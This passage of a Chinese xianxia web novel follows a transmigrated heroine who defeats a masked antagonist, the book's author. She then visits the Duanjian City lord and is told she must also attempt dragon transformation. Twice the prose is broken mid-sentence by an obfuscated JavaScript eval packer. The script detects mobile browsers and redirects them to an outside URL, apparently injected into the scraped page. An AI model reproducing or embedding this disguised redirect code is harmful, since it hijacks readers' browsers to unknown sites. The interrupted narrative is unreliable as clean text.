两人已经打过很多次,而且每次都是面具人败退,估计他气得不行,所以这次使出全部招式来进攻。 围观的鼎山弟子和煅剑城弟子都看得目瞪口呆。 虽然之前的龙息之力威不可挡,但他们没想到还有这么多打法。 而且青湖师叔丝毫不落下风。 万仞山的龙息和元气虽然已经平衡,但对人的压迫依然存在,想在此地打斗是件不太顺畅的事。 之前众人布阵设防就已经拼尽全力,若是还要货真价实打斗,实在做不到。 但眼下青湖师叔跟面具人的激烈交锋全得扛着压迫才能顺利进行。 之前她还摔倒在地起不来,结果现在就打得行云流水。 这已经远超众人想象,双方打得僵持不下更是让人瞠目结舌。 就在这时,面具人又调动自己所有龙息之力施法布阵向前压去。 之前众人差点就被这股力碾成肉泥,幸亏及时用元气铺设剑阵,让卫池打败面具人才幸免于难。 但此时丹青宝卷在卫池身上,不在那边。 接下来的惨状可想而知。 面对铺天盖地的压迫,齐云鲤当然知道有什么后果,但此时比起恐惧,更多的是愤怒。作者不填坑就算了,还跑到这边耀武扬威,简直欺人太甚。 看本小说就穿书过来,没想到作者也在这里,还把这片天地搅得乱七八糟。 她说怎么有那么多稀奇古怪的事,原来都是他干的! 比起写文还是害人更简单? 今天要是不教训他,列祖列宗都看不过去! 怒极之下齐云鲤拔出断剑,然后鬼使神差般的变出完整剑身,向着迎面而来的龙息压迫劈砍过去。 原本这绝不可能成功,但不知重新锻造出的剑刃有什么神奇功效,竟然就跟龙息之力的压迫对抗起来。 龙息不退,剑锋也不退,两边僵持不下竟然都出现裂口,然后双双破碎。 ——这都闻所未闻、见所未见。 宋安合绞尽脑汁也只能问:“那是煅剑城的功夫吧?” 凭空锻造兵刃那不是一般人能做到的。 “她跟城主很熟。”严岐回复。 其他人都沉默不语,卫池则眉头紧皱。 阵法破碎,面具人似乎精疲力尽,齐云鲤冲过去就按着他在地上一顿暴打。虽然只是普通赤手空拳,但拳拳到肉。 之前跟石月观音说作者的事,对方没有理会,把她弄得有点心力交瘁。 现在必须把这人打一顿,以解心头之恨。 由于一时龙息耗尽,面具人还跑不了,只能老老实实挨打。 虽然伤害不大,但侮辱极强。 直到被打一炷香他才缓过来,然后烟消云散。 齐云鲤还是气得不行,见他跑了就把附近龙息压迫明显之处全都打一遍。 原本万仞山的龙息和元气还没彻底稳定,但在这种威压下再想搅起动荡已经不切实际。 所以方圆百里的龙息和元气完全平衡,动荡彻底平息。 按理来说,龙息和元气波动不可能在这么短时间平息。 但事实摆在眼前,谁也不能否认。 “之后煅剑城城主会见青湖师叔是吗?”宋安合有点惴惴不安。 严岐保证:“绝对会。” 等众人回过神来,发现卫池所在之处只有一只黑猫。 那只猫不躲也不逃,只是谁也不理。 齐云鲤走回来,把医药还给陆顷己,他感动得都有点热泪盈眶。 不过她没管那只猫,瞟一眼就转身走开。 李宜敏赶紧过去给她检查身体,能保住顶级医药的那就是救命恩人。 虽然孙仲礼满脸疑惑,但齐云鲤只是说:“那个人不用怕。” 他见面具人被打得毫无还手之力,也就没多想。 鼎山弟子四周检查一圈,没发现异常,又再次检查一遍每个人的情况,这才松口气。 以往危机重重的万仞山这时平静得不可思议,想来想去只能说打得好。 之前真是打出风范,打出气势。 最后煅剑城弟子让大家启程去煅剑城。 37. 煅剑城 天寒地冻、冰天雪地,崇山峻岭之间隐约能见到一点人烟.但北风呼啸,寒风刺骨,任何人都不想在此地停留。 可煅剑城弟子和鼎山弟子就停在这里,四周皑皑白雪。 幸亏都是修道人士,不然早就冻僵。 他们早就到这里,硬是站在风口吹风,还不能躲。 要不是有要事必须停留在此,他们早就跑了。 但严岐守在这里,谁也不能走。 他们只好老实站在那里,就连黑猫都在雪里,不让人抱着。 天上一抹云飘过后,严岐终于指着前面一座山说:“那里有火烤。” “一定要爬雪山,你是不是有病?”李宜敏相当不满。 众人虽然有转移阵法,但每次转移的距离都不远,时不时就得走一段路,这段爬雪山的路就是严岐所选。 她选的这条路又偏又远,明显就不是日常行走的。 他们用阵法转移的距离还不能太远,每次转移完就得走一段路,磨蹭半天才爬上山顶。 到山顶才发现煅剑城在前面一座山上,鼎山弟子不免都有些崩溃,不过煅剑城弟子似乎早已习以为常,还出声安慰。 齐云鲤虽然冻得不想说话,但看看周围还是问:“是不是有什么跟着?” 虽然在万仞山把面具人打跑,但谁知道他会不会跟踪。 反正那个人方方面面都有病,基本只要有病就有他的份。 严岐环顾四周,直到看见远处一座山在光照下,清晰分为明暗两面,才撕碎一张符咒说:“已经跟不动了,我们可以直接上去。” 她打开一个连通煅剑城的阵法,顷刻就将众人转移进煅剑城。 煅剑城虽然终年积雪,却并不会让人感到严寒刺骨。因为煅剑城财力雄厚,四处都有火炉冒着热气,转身就能取暖,不会给人带来任何困扰。 众人来到城内已经没有刺骨的冷,走进房间更是感到温暖舒适的热,黑猫直接趴在火炉边睡起来。 煅剑城弟子拿来各种美食摆满一桌,有肉有菜,琳琅满目。 鼎山弟子马上就吃起来,反正已经吃过很多次。 趴在旁边的黑猫也分到一条熟鱼。 “这杯没有枸杞,”严岐拿一杯茶递给李宜敏,然后说,“想吃就自己放。” 李宜敏接过杯子就翻白眼,然后放黄芪泡进去。 齐云鲤在旁边吃着羊肉汤,只觉得厨艺真好。孙仲礼吃着烤羊肉,喝着茶,跟吴明聊起各色美食。 大家以为之前打完就没事,不过事情还没完。 齐云鲤就等那只黑猫吃饱喝足然后犯困,黑猫一闭上眼睛她就施法布阵让猫听不到外面的声音。 一开始别人还以为她是要让猫好好睡,随后才知道她是怕卫池耽误自己说话。 因为她说—— “虽然今天我徒弟打得不错,但千万不要指望他,靠你们自己才对。” 一开口就贬低徒弟,怪不得要率先施法布阵。 孙仲礼大惑不解:“可他都打赢面具人两次……” 这是众人亲身经历,谁也无法反驳。 “第一次是你们铺设剑阵才反败为胜,原本他就要被碾成肉泥。第二次那条蛟要攻击山下村庄,也是你们布阵挡住攻击,”但齐云鲤重点强调,“看起来是他艺高人胆大,其实是你们扭转局面。” 话一出口,鼎山弟子才感觉自己作用不小。 在前面打的是卫池,之前大家都以为全靠他一人。但现在青湖师叔说起来,他们就发现形势复杂得多,只靠一个人绝不可能。 “第一次是你们及时布阵挡住龙息重压,所以才有机会铺设剑阵。第二次是宋安合发现问题,及时叫你们铺设血阵,”齐云鲤继续强调,“如果只有他一个人,什么也做不到。” 众人一听感觉确实就是这样。 见他们神色认可,齐云鲤这才说出最重要的部分:“今天那条蛟是因为功法不济变回人形,但之前那气势汹汹的一击全靠你们铺设血阵才挡住,这才把面具人气得无力再战。” “所以就是你们打败一条蛟啊!”说到这里她就开始鼓掌。 鼎山弟子都有些目瞪口呆,这夸奖的分量也太大。 蛟是天下仅次于龙的存在,打败蛟那是人力所不能及的。 卫池能击败蛟,感觉全靠他的人炉身份。 这种事其他人想都不敢想。 齐云鲤知道他们没想通,于是接着说:“数百年来无数修道人士都想化龙,但始终没人成功。以前都在想是不是龙形不够还原,现在看来估计化龙就不是单独一个人能做到的事。” 她先说出化龙的困惑,这种事众人之前都略有耳闻。 “真龙身形庞大,也许一群人才能完成化龙!”齐云鲤声音突然变大。 这句话突兀又过于震撼,鼎山弟子愣了很久才回过神来。 若是一群人能化龙,那么他们这群人看起来就很有可能。 不过之前谁也没想过这种事,就连异想天开都不可能。 他们都谨慎地低下头,没人兴高采烈。 毕竟这种事太过遥远,谁也不敢妄想。 鸦雀无声时,站在一旁的严岐说:“你们要是能化龙,每家每户发放物资十石。煅剑城可以分几次送过去,不用你们操心如何保存的问题。” 一石是一百二十斤,十石就是一千二百斤,简直不敢想象。 鼎山弟子都有点晕,谁家也拿不出这么多东西。 齐云鲤知道这件事正中下怀,就问:“有什么物资?” 石通常用来做为粮食的计量单位,可物资应该不止有粮食。 “衣食住行样样俱全。”严岐说得很轻松。 可这件事对鼎山弟子来说,重得不能再重。 有这么多东西再也不用担心家里的事。 “弟子一定认真钻研。”吴明抱拳行礼。 其他人纷纷附和:“我也是。” 于是让鼎山弟子化龙一事就此敲定。 鼎山弟子难得有一次这种体验,众人烤着火吃着东西,身心也放松下来。 鼎山只有禁地是一年四季都冷,其他地方只是冬天很冷,而龙骨论战时禁地的冷就会传遍整座鼎山。 在寒冬腊月打出一片生机,也是不容易。 不过煅剑城有吃有喝有火烤,就不用担心这种事。 风雪再大,也敌不过室内的火。 严岐让众人休息,她先去禀报煅剑城城主。 煅剑城为何跟鼎山结为兄弟门派,她略知一二。之前总感觉要吃亏,不过今天看来只赚不亏。 进入主殿她就跟城主禀报相关事宜,最后问是否告诉青湖徒手锻造兵刃的方法,这种事绝不是一般人能做到的。 “没教过,不过她亲眼见到过。”煅剑城城主皱起眉头。 青湖此人不能用寻常眼光来看待,没想她厉害到这种程度。 严岐见确有此事,也就不再计较,而是说出一件更加严重的事。 “她想让鼎山弟子一群人共同化龙。” “……啊?”煅剑城城主目瞪口呆。 化龙一事其实也跟煅剑城有关,锻造龙骨剑实际就是在为化龙做准备。 以一人之力化龙还是较为勉强,因此要用龙骨剑来加强化龙之人的力量。 只不过打造千万把龙骨剑,化龙之人依然遥遥无期。 如今化龙之人不再是单独一个,可能性或许大大增加。 煅剑城城主十分疑惑:“她是怎么想到的?” ——这种事不是随便就能想到的。 “看起来早有准备,”严岐说明情况,“在万仞山的时候也像是准备已久,最后就是要让鼎山弟子化龙。” “有可能吗?”煅剑城城主的白眉皱成一团雪花,“数百年都没人能做到。” 想化龙的能人异士数不胜数,但成功者渺无音训。 “之前不可能,现在有可能,”严岐话音郑重,“让鼎山弟子化龙一事不可能是她自己妄想。” 化龙是鼎山开山祖师定下来的,单独一人胡思乱想不可能改变什么。 不过煅剑城城主还是问:“这是谁的意思?” “八成是鼎山。”严岐说出猜测。 化龙对鼎山至关重要,改变化龙方式绝非儿戏。 听到这里,煅剑城城主就说:“我要问她本人。” 目前只是猜测,必须获得鼎山方面的正式言辞。 严岐没有反对,只是又说出一件事:“如今万仞山的龙息和元气已彻底平衡,不会有任何波动。” “……什么?”煅剑城城主相当震惊,万仞山的龙息和元气平衡是始终无法办到的事,如今竟然直接摆平。 “是青湖前辈所为。”严岐补充。 煅剑城城主一脸怪不得的表情,然后又听她说:“但是之前是鼎山弟子完成的这件事。” 此事相当罕见,光是龙息和元气的平衡问题,古往今来就没人能做到。 如果青湖做到,那还勉强合情合理。 但鼎山弟子能平息龙息和元气的对抗,那也太过异想天开。 “此言为真?”煅剑城城主不敢相信。 “当时青湖前辈跟她徒弟与一个面具人打斗,鼎山弟子过去帮忙,”严岐说明情况,“然后龙息和元气就平衡了,虽然还没彻底稳定。” 还没彻底稳定,就是正在逐渐平稳。 此事关系重大,因此煅剑城城主说:“我要亲自问问她。” 于是严岐便去鼎山弟子那边将齐云鲤请过来。 齐云鲤来到叫“天一殿”的主殿外,看到那名字她就想起鼎山开山祖师天一道人。只能说不亏是兄弟门派,取名也这么一致。 煅剑城城主须发皆白,穿着流云暗纹的黑色长袍,袖缘又有深红,相当威严。 齐云鲤穿着脏兮兮的青灰道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17082753|193353||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 袍走进去显得格格不入。 不过煅剑城城主并未嫌弃,而是彬彬有礼地抱拳行礼:“青湖道长。” “城主有礼。”齐云鲤赶紧回礼,她也不清楚二人关系,只能很笼统。 按理来说这种态度应该没问题,可煅剑城城主竟然长叹一口气。 在叹气下,原本肃穆的人瞬间憔悴起来,仿佛是个孤苦无依的老头。 齐云鲤感觉有点不太好,他就说起来:“今日居然有宵小在万仞山作乱,幸亏有道长主持公道。” 说得很为难,仿佛煅剑城的任务中途而废。 “过奖过奖,”齐云鲤有点迷惑,“龙骨没问题,城主放心。” “万仞山曾是无根海,如今堆满山石,想不到依然有水泽之地的一面。”煅剑城城主依然在叹气。 齐云鲤一脸困惑,不知道他要说什么。 “这里堆满龙骨,想不到那边居然还有一把龙骨剑。”煅剑城城主听起来都快哭了。 齐云鲤赶紧翻出那把龙骨剑,幸亏让卫池化形为猫,不然可能就拿不到。 可煅剑城城主拿过那把剑,哭声更明显:“这种龙骨剑我们实在做不出来,就别强人所难了吧?” 说得仿佛青湖在欺压老弱病残,齐云鲤顿感不妙。 “这个非人力所能及,而煅剑城龙骨剑也不是这把剑能替代的,”她赶紧转移话题,“之前的龙骨剑如今怎么样?” “一切顺利,照常进行,”煅剑城城主停顿片刻又要哭了,“我毕生功力都在震慑龙骨剑上,什么时候才能结束?” 齐云鲤更加莫名其妙,只好说:“这次鼎山龙骨论战能见分晓。” “到时候你保证能化龙吗?”煅剑城城主流下两行清泪。 齐云鲤瞬间吓死:“我估计不能,不过鼎山弟子看起来可以。” 化龙一事他竟然知道,实在别无他法,她只好这么说。 “他们怎么可以,道长不会是在骗老夫吧?”煅剑城城主继续哭。 “之前在鼎山有外人挑事,是鼎山弟子齐心布阵才平息危机,”齐云鲤见状只好说出前情,“而且他们已经了解用元气铺设剑阵的关键,借助剑阵之威就能一人打败一条蛟。” “双方实力天壤之别,但最后鼎山弟子获胜,所以罗白音让我观察一下他们能否化龙,”她又说出万仞山的情况,“今天他们两次布阵挡住敌方攻击,还让我们反败为胜,简直不敢想象。” 虽然煅剑城请鼎山弟子到万仞山帮忙,不过不要求他们施法布阵。毕竟万仞山龙息充盈,很有可能引起龙息暴动。 在龙息压迫下施法布阵,已经远超鼎山弟子实力。 化龙也远超他们实力,可如今似乎很有可能。 “他们还真能做到?”煅剑城城主总算不再落泪。 齐云鲤说得连自己都不信:“他们已经接受这件事,之后鼎山会重点培养,等龙骨论战时八成有飞龙在天。” 但煅剑城城主深信不疑,装可怜总算有用,毕竟打不过她只能哭。 “鼎山一切物资都由煅剑城来保障。” 他大方得感觉之前严岐保证每家每户十石物资都是小菜一碟。 话已至此,齐云鲤不再纠结,只是提醒:“万仞山那个面具人跟到这边来,也许煅剑城会发生什么。” “煅剑城原本只是个名不见经传的小门派,还差点灭门,全靠鼎山开山祖师的帮助才走到今天。后来因为龙骨剑,煅剑城的冶炼锻造天下第一,所以谁跟鼎山过不去,就是跟煅剑城过不去。”煅剑城城主不再哭泣,开始莫名其妙起来。 齐云鲤只好说:“鼎山跟煅剑城是兄弟门派。” “煅剑城只擅冶炼锻造,不擅打斗。”煅剑城城主一脸苦兮兮。 齐云鲤发现他就是先说些高深莫测的话,然后装可怜。 她只能安慰:“没事,那个人主要是打我。” 煅剑城城主郑重叮嘱:“以后道长千万不要再去万仞山。” “之前牺牲的鼎山弟子龙骨令消失不见,麻烦再准备一块。”齐云鲤听完突然有点想动手打人,只好赶紧说正事。 煅剑城城主又开始叹气,他无奈地说:“龙骨令估计是被止水宗拿走,那边不会善罢甘休,你们要小心。” 说到这里齐云鲤就不想再看见这个人,于是马上告辞。 临走之前她拿到一个小木盒,煅剑城城主说里面装着给鼎山掌门的信件。 她拿着盒子走出主殿,一个煅剑城弟子从侧门进去,看到城主神色有异,不由紧张起来:“城主,你没事吧?出什么事了?要不要吃药?” 以前煅剑城城主每次跟青湖前辈说完话都得吃药。 “她居然变得很好说话……”煅剑城城主喃喃自语,仿佛不可置信。 那个弟子闻言大惊:“还有这种事?!” “老天有眼啊,看来今年大吉。” “我去通知其他人这个喜讯!” 38. 口若悬河 那个煅剑城弟子冲出主殿,以最快的速度通知其他人。 ——鼎山到处打人的青湖如今变得很好说话! 听到这个消息的人全都欢欣鼓舞,毕竟都被打过。 而齐云鲤还慢悠悠走在路上,一路上总有人从远处冒出来看她,不知道是干什么。 中途不小心撞到一个人,她连声道歉,那人就笑得仿佛是个傻子。 她不知道青湖曾经干过什么,只是感觉煅剑城上下都有病。 城主有病就带着所有人一起病。 走到鼎山弟子所在的房间外面,齐云鲤终于松口气,总算能看见正常人。 谁知一走进房门,就见到孙仲礼愁眉苦脸窝在角落,跟其他人离得很远。 这明显有麻烦,但跟外面那群有病的比起来不算什么。 齐云鲤就走过去问:“怎么了,吃坏肚子?” “我吃撑了,过来休息一下。”孙仲礼摇摇头,简单交代。 不过听起来没那么简单,而且没见过吃撑还弓着背的。 因此她说:“刚才见到煅剑城城主,没想到他居然认识青湖。” 面见煅剑城城主的事众人皆知,鼎山弟子虽然没兴趣,但说出来也不突兀。 不过孙仲礼并未关注其中细节,而是仿佛发现什么秘密:“你也发现这里的异常?” 这件事双方早就说过,没想到他还在纠结。 “鼎山弟子都不认识青湖,外面的人却有不少人跟她很熟。” 之前说的是有点变化,结果现在发现变化不是一般大。 齐云鲤不免有些头疼。 这里虽然跟小说类似,但隐藏部分实在太多。 正常人谁会这样写小说? 当然面具人也不正常。 只是在这里的感觉就十分奇怪。 “我们到底在哪里?”孙仲礼问得很轻,语气却有点沉重。 石月观音自暴自弃什么也不说,所以齐云鲤也不知道答案。 她只能说:“这里是煅剑城。” 为了鼓舞士气,齐云鲤又说:“之前的布阵你做得很好,以后出现问题没必要冲在最前面,而是可以运用阵法来协助。” “感觉很没用……”孙仲礼低下头,有点垂头丧气。 齐云鲤见状只好说:“卫池才是没用,要不是你们在后面布阵设防,他早就被打成烂泥。看起来很厉害,其实随便哪个鼎山弟子都可以取代。” 反正那个人也不在这里,随便怎么说。 “没他在前面打,我们布阵也没用吧?”孙仲礼搞不清背后的东西,不过凭感觉就是这样。 “一对一拳打脚踢就不是修道人士干的,”齐云鲤见他听进去就说,“能打的多得是,布阵才世间罕见。鼎山弟子学修道不是学打架,而是怎么施法。” “布阵就是施法,卫池功法不济只好钻研剑术,但你可以充分学习术法,以后化龙也有你一份。”齐云鲤说出关键。 孙仲礼挺胸抬头,眼里似乎充满期待。 不过齐云鲤发现他怀里居然抱着那只黑猫,而且猫已经醒了。 回想一下刚才的话,她感觉大事不好,于是马上走远。 孙仲礼见她突然快速走远,还有点奇怪,直到发现怀里的猫已经睁开眼睛,这才反应过来出什么事。 “要吃东西吗?”孙仲礼赶紧转移猫的注意力。 不过黑猫冲过去就咬了齐云鲤一口,她先说坏话也只能无可奈何。 只能说咬的是腿,那里穿着很厚的裤子,没有咬破皮。 之前吵了几句,看来问题依然没解决。 鼎山弟子休息到申时,众人收拾一下就准备走。结果同行的两个煅剑城弟子搬来大包小包的东西,仿佛不要钱。 “拿这么多东西干什么,又不是逢年过节。”李宜敏皱起眉头。 严岐从屋外走进来,面露喜色:“对我们来说,就是逢年过节。” 那两人将东西都装入乾坤袋,严岐把另一个乾坤袋递给李宜敏:“这个是送的,以后可以装枸杞。” 李宜敏看那两人笑个不停,就提醒:“这么喜上眉梢,小心喜过头。” 严岐摇摇头:“人逢喜事精神爽,我不介意再喜一点。” “喜伤心,过喜则心气大开。”李宜敏又皱了皱眉。 “今天是个好日子,我不跟你计较。” 严岐完全没介意她的话,把东西都交给鼎山弟子就开阵将他们送出煅剑城。 煅剑城好吃好喝招待,又送一大堆东西,自然好得不能再好。 不过齐云鲤还要上飞泉院跟罗白音说明情况,这就没什么好的。 飞泉院的白玉兰依然绽放,齐云鲤过去挂上一个平安符,然后走进房间。 她把煅剑城的小盒子递给罗白音,才开始说话。 三渺宗出现在万仞山下的村庄那边,还被好吃好喝招待。后来他们施法让村民被人附身,被鼎山弟子打断,所以最后不欢而散。 罗白音在看盒子里的信件,只是问:“村民的附身状态与那个鼎山弟子相比有什么区别?” 鼎山掌门闭关修炼,所以给掌门的信件就是她看。 “村民被附身以后笨手笨脚,明显是初学者所为。”齐云鲤皱起眉头。 既然是初学者所为,那就用村民来练习。 由于还不精通,所以被鼎山弟子打断。 罗白音沉默不语,看完信件很久才问:“你觉得呢?” “三渺宗出现自称铭祖的人,是他教附身之术,也是他让三渺宗去万仞山,”齐云鲤说出真相,“他跟出现在鼎山的面具人很有可能是同一人。” 面具人在鼎山花样百出地挑事,铭祖让三渺宗去万仞山耀武扬威,全都没安好心。 而鼎山和万仞山都充满龙息,龙息跟化龙相关,也就是跟鼎山有关。 在万仞山闹事,本质上跟在鼎山挑事没有区别。 不过万仞山那边通常是止水宗出没,这次出现的却是三渺宗,还在那边练习附身之术。 虽然修道人士都知道这件事,但用普通人来练习此法,绝不正常。 通常只有邪魔歪道才会这样做。 ——但三渺宗是名门正派。 “看来三渺宗跟止水宗有牵连。”罗白音做出判断。 齐云鲤顺势说:“煅剑城城主猜测鼎山弟子的龙骨令被止水宗拿走。” “如果真是这样,那他们必定有后手。” 齐云鲤十分好奇:“难道他们还会来鼎山?” “过几天鼎山弟子得去千溪镇,你带徒弟一起去。”罗白音压摇摇头,只是这么吩咐。 千溪镇在小说里就是个祸乱来源。 一方面是因为地处幽冥十二泉,孤魂野鬼多的是,环境恶劣。 另一方面是附近还有个仙子林,里面没有仙女,只有个稀奇古怪的阵法,能引出阵法中人内心最恐惧的事。 据说那是曾经某位修道人士用来试炼晚辈的工具,试炼结果不明,后续灾害接连不断,隔三岔五就有人在那里被吓死。 小说里男主到达千溪镇就搅起一场巨大风波,风波来源就是仙子林。结合幽冥十二泉的孤魂野鬼,效果震撼人心。 齐云鲤觉得一旦过去肯定会出事,即使卫池已经相当熟悉。 何况两个人才吵完,本来就有事,过去只会事情更大。 而且总感觉那边很恐怖,虽然书里也没发生什么惊悚之事。 但三渺宗会在那边出现,还是小心为上,毕竟之前又打又吵。 以前感觉止水宗危险,现在才发现三渺宗也不是善茬。 “我跟卫池吵了一架。”齐云鲤只好说出实情。 罗白音不屑一顾,只是说:“吵不过就打,难道你还打不过他?” 说得仿佛打架很简单,齐云鲤左思右想,最后决定还是打。 毕竟会一胜一负,总比吵来吵去没分输赢要好。 男主在千溪镇就是个活靶子,只要一过去所有麻烦都会针对他。 让他过去也算分散仇恨。 麻烦找他就不会找鼎山弟子,因此齐云鲤就接受这件事。 解决完她的问题,罗白音又问:“化龙的事呢?” 化龙一事才是这次去万仞山的重点,于是齐云鲤郑重说明起来。 “面具人两次出手,第一次以无穷龙息布阵向下压,鼎山弟子布阵勉强挡住。然后我叫他们用丹青宝卷里的元气铺设剑阵,他们就将龙息威压彻底挡住,卫池借剑阵之力打败面具人。” 这是切实发生的事,不过比说书先生的话还离谱。 罗白音沉默了,虽然之前感觉他们有可能化龙,但没想到威力这么大。 而齐云鲤又继续说—— “第二次面具人想偷袭我们,但是没有成功,鼎山弟子布阵挡住,卫池过去打他。打着打着他化形为蛟,宋安合叫大家铺设血阵,挡住那条蛟对山下村庄的攻击。估计是功法耗尽,蛟又变回人形。” 蛟是世间最接近龙的东西。 修道人士化龙失败,大多数就会选择化形为蛟,毕竟真龙消失,蛟就成为最强形态。而鼎山弟子只是一群微不足道的无名小卒,与蛟对抗就是蚍蜉撼大树。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17086347|193353||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 谁知最终真的让千里之堤溃于蚁穴。 不过罗白音问:“鼎山弟子没学过血阵,怎么能做到?” 血阵是用布阵之人的性命来抵挡攻击,常人不可能知道。 “是之前在丹青宝卷时卫池教他们的,”齐云鲤赶紧解释,“他在止水宗呆过,估计接触过相关内容。” 那个人炉是玲珑道人千辛万苦救出来的。 止水宗的人炉成百上千,非得救出那一个必有原因。 只能庆幸还好那个人炉在鼎山。 人炉知道止水宗匪夷所思的东西,就能告诉鼎山弟子。 ——看来化龙不是痴心妄想。 “煅剑城城主说可以资助一切物资。”罗白音说出信里的意思。 齐云鲤想起那人哭哭啼啼就有些头疼,不过还是说:“他说煅剑城龙骨剑已经打造出千万把……” 说到这里她就想起万仞山那把龙骨剑,之前卫池化形成黑猫,所以还在这里。 于是齐云鲤赶紧从乾坤袋里掏出那把货真价实的龙骨剑,将它交给罗白音。 “这是埋藏在万仞山一个水洼里的龙骨剑,水洼先变成水潭,我跟面具人打进去。不过最后卫池拔出龙骨剑,水潭又变回水洼。” 罗白音拿过那把龙骨剑,与寻常刀剑相比它很粗糙,两边都没开刃,看起来仿佛只是玩具。 不过这时冬青突然冒出来大喊:“这是龙骨剑!” 她的出现伴随着缭绕云烟,房间里一时仙气飘飘。 此时她一身铠甲,仿佛征战沙场的将士。 不过齐云鲤早已见怪不怪,所以没当回事。 冬青见罗白音只是皱起眉头,又大声强调:“这是天地打造的!” 天地打造的龙骨剑必定不同凡响。 声音一出来,就感觉坐在椅子上的罗白音比她更强悍,哪怕衣着普通。 就像天地看似普通,却能掌握世间生死。 于是罗白音又转头看向齐云鲤。 “卫池用这个打面具人易如反掌,面具人能调动龙息,但是他有龙骨剑。”齐云鲤赶紧强调龙骨剑的威力。 冬青又补充:“龙骨剑打龙息就是小菜一碟!” 化龙之人和化龙之物都已经出现。 “看来相关事务一应俱全,万一化龙失败,你知道会有什么后果吧?”罗白音明晃晃的威胁。 齐云鲤当然明白会有什么下场,不过还有事情没说。 “在万仞山菩提慧海也来了,他说跟青湖在一起干活,让我别操心,”她赶紧说出关键,“他让我好好打面具人,说是面具人只能看到一点,看不到一面。” 之前跟卫池这么说,他听不懂,她就不信罗白音还听不懂。 “点和面是什么?”罗白音没有计较菩提慧海的现身,只是问。 “点是卫池,面是鼎山弟子。面具人只打一个,但后面还有一群人可以帮那个人打他,”齐云鲤重点强调,“就是他在前面打卫池,鼎山弟子在后面打他。” 来来去去都是打人,指向太过明显。 罗白音只能说:“你还是自己去打那个人炉吧。” 她拿起桌上一本书递给齐云鲤:“这是个好兆头,不用太过操心,也许克制面具人的关键就在这里。鼎山龙息鼎盛,对谁有利还不一定。” 齐云鲤接过那本书,发现还是龙息相关,联系到之前的话,她就问:“鼎山龙息是否与鼎山存亡相关?” “龙息是一把剑,就看要怎么用。” 齐云鲤思考过后才问:“龙鼓论战是不是使用龙息的最佳时机?” 罗白音没有回答这个问题,只是说:“龙息原本就属于龙。” 此时没到傍晚,窗外山峦在云雾中起伏,好似一条巨龙游走于苍穹,时不时在云雾中露出一角一爪。 “尽人事听天命,”齐云鲤只好这么说,见罗白音似乎又要开口,马上说,“幽冥大帝在万仞山挡住面具人强有力的一击。” “怎么挡的?”罗白音被转移注意力。 “先是幽冥大帝的金光和面具人那边的龙息相撞,然后又有一道金光将面具人的阵法劈碎,彻底平息动荡。”齐云鲤细致描述。 “丹青宝卷里的那个?” “之前在丹青宝卷也挡了一次。”齐云鲤点点头。 不过罗白音话锋一转,又回到之前的话题:“幽冥大帝挡在前面的时候,你要抓紧时间化龙。” 窗外巨龙仿佛挠了齐云鲤一爪子。 她相当疑惑:“鼎山弟子不是可以化龙吗?” “你也必须做好准备。” 39. 陷阱 数百年来想化龙的人不计其数,但成功者遥遥无期。 无论修道人士怎么研究,也找不到正确方法。 世人在研究,其实鼎山也在研究。 鼎山有龙息也有龙骨论战,都是化龙的条件。 不过条件充足,却始终没找到化龙之人。 最后鼎山掌门千算万算,算出青湖有化龙的可能,于是便将她当作化龙之人。 不过对化龙有两手准备,也顺理成章。 毕竟事关重大,不可儿戏。 但齐云鲤怎么也没想到就算鼎山弟子能化龙,她还是无法逃离那条路。 “不用了吧?”她大惑不解。 罗白音说:“让他们化龙只是选择,让你化龙是鼎山的决定。” 话已至此,化龙就是绝对要走的那条路。 冬青兴致勃勃地说:“最好两边都能化龙!” 这个要求更高,齐云鲤觉得就像三岁小孩胡说八道。 她一路辛辛苦苦可不是要给自己找麻烦。 于是她好言相劝:“化龙必须有充足龙息,鼎山目前的龙息不足以化龙两次,还是别勉强了。” 可冬青拍着胸口保证:“有我在,龙息一定足!” 她高兴得身上铠甲都闪过一道光。 而且身为鼎山龙息化身,她当然可以保障。 齐云鲤只能无可奈何地看向罗白音。 她当然知道龙息有保障,但问题不是有龙息就行。 有燃料还得有火,烧火是这样,化龙也如此。 ——火都没有,还烧什么? 罗白音知道她的担心,不过只是说:“化龙以外的事都不用你操心,鼎山弟子有其他长老教导化龙一事,你确保自己能化龙就行。” 石月观音、面具人、卫池已经够麻烦,没想到还有化龙。 事情太多,齐云鲤都有点心力交瘁。 “唉,我先休息一下。”她说完就直接在藤椅上闭眼睡下。 眼下没有明确事情说,因此也见不了石月观音。 只能纯粹休息,毕竟她都有些焦头烂额。 目前看来她早就穿书过来,具体有什么事不清楚,反正后果很惨。 蒙眼女子貌似就是幽冥大帝,她同时穿书过来,还一直想救齐云鲤。 面具人就是作者,他也很早穿书过来,还跟男主不共戴天。 石月观音那边的人名也不知道是怎么回事。 卫池说他能化龙,不知道又是要干什么。 青湖在鼎山以外相当出名,却老老实实呆在鼎山。 相比之下孙仲礼只能算是天真无邪的小孩。 其他乱七八糟的事好好想一下都没必要。 齐云鲤越想越累,越想越睡不着,最后起身研究秘境。 反正之前准备很多,就趁机做一下。 目前不用担心秘境长老催促,所以能慢慢来。 罗白音见她醒来也不再提化龙的事,看来这对她是个不小的刺激。 齐云鲤独自琢磨半天也搞不懂,之前跟卫池吵了一架,因此只好诚心诚意去问秘境长老。 